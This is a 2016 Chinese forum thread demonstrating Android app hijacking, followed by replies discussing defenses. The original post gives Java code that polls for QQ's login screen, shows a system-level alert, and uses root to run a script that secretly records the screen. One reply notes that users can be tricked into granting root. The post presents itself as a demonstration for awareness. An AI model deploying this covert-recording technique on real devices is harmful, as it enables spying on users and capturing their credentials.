qtfreet00 发表于 2016-4-28 11:44

简单的实现app界面劫持和后台监控

如今越来越多的手机玩家都为了折腾一些稀奇古怪的东西,或出于好奇,或出于贪心,往往会root手机去尝试安装一些外挂,刷分,刷粉,修改版等等乱七八糟的东西

正因为此类用户的存在,一些小人就盯上了这方面的市场,去开发一些盗取财产,密码,锁机等等

今天我就给大家看一个简单的劫持



当打开QQ登录界面时,提示界面被劫持了

这是如何实现呢,其实很简单,当我们安装了不正常的app,app后台会开启一个后台服务,用于循环检测当前顶层页面是否是我们需要劫持的,如果不是,继续检测

new Thread(new Runnable() {

                        @Override
                        public void run() {
                                Looper.prepare();
                                while (true) {
                                        ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
                                        List<RunningTaskInfo> tasks = am.getRunningTasks(1);
                                        if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {
                                                inject();
                                                RunAsRooter();
                                                break;
                                        }
                                        try {
                                                Thread.sleep(500);
                                        } catch (InterruptedException e) {
                                                // TODO Auto-generated catch block
                                                e.printStackTrace();
                                        }
                                }
                                Looper.loop();

                        }
                }).start();

因为考虑到弹窗是需要在主线程中执行的,所以必须调用Looper,每次检测的间隔时间为500毫秒,必须过多检测导致系统卡顿,

检测到后就开启一个弹窗

private void inject() {
                AlertDialog.Builder builder = new AlertDialog.Builder(this);
                builder.setTitle("提示");
                builder.setMessage("你的界面已经被劫持了");

                final AlertDialog dialog = builder.create();

                dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));
                dialog.show();
        }

由于是全局弹窗,所以必须设置为系统级弹窗,同时需要注意添加权限

{:301_976:}so easy

那如何实现后台监控呢,我这里的思路是实现后台录像,安卓4.4以上系统就自带录像功能了,实现方式也能简单

private void RunAsRooter() {
                try {
                        Runtime.getRuntime().exec("su -c /sdcard/run.sh").waitFor();
                } catch (IOException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                } catch (InterruptedException e) {
                        // TODO Auto-generated catch block
                        e.printStackTrace();
                }

        }

调用root权限执行sd卡下的一个脚本文件,那这个脚本代码是什么呢,也就一行代码

screenrecord --time-limit 30 /sdcard/demo.mp4

调用system/bin下的可执行文件进行录像,这里设置的时间为30秒,保存在sd卡下,所以这里也需要设置相关权限

{:301_1003:}
当打开QQ登录页面时,后台自动开启录像,这样你的一举一动我就全部知道了



yege0201 发表于 2016-4-28 22:12

我也写过类似的工具,而且也有这方面的样本,不过呢,现在很多应用都注意到这点了,尤其是银行类应用,会在Activity的onPause()方法中加入检测代码,一旦发现置顶窗口非自己的应用了,则会进行提示。
第二个录像需要root权限,就看如何欺骗用户获取root权限了,不过方法也是很多的{:1_912:}

感到哈哈丶 发表于 2017-8-17 11:32

yege0201 发表于 2016-4-28 22:12
我也写过类似的工具,而且也有这方面的样本,不过呢,现在很多应用都注意到这点了,尤其是银行类应用,会在 ...

很难骗的,一般系统都会提示是重要的权限,轻易不要同意

萋小磊 发表于 2016-4-28 11:46

前排 膜拜空空妞(牛)这样的东西小米有安全中心能查到的么- -

Hmily 发表于 2016-4-28 11:54

#最知攻,方知防# 攻防一直在不断的进化和对抗!

考试资源 发表于 2016-4-28 11:56

支持楼主分享,教大家防范

枫MapleLCG 发表于 2016-4-28 12:07

在教防范的同时又教会了不怀好意

353086969 发表于 2016-4-28 12:07

好吧,思路不错。但局限性太大。比如知道了密码又不能盗QB 哈哈
而且只有小白才会安装无名软件

蓦留 发表于 2016-4-28 12:16

前排膜拜

kbluer 发表于 2016-4-28 12:26

好高级的样子

iL_ 发表于 2016-4-28 12:30

看了你的帖子。突然好像学Android啊{:301_1003:}

mrzcpo 发表于 2016-4-28 12:44

谢谢LZLZ java玩的很6
页: [1] 2 3 4 5 6
查看完整版本: 简单的实现app界面劫持和后台监控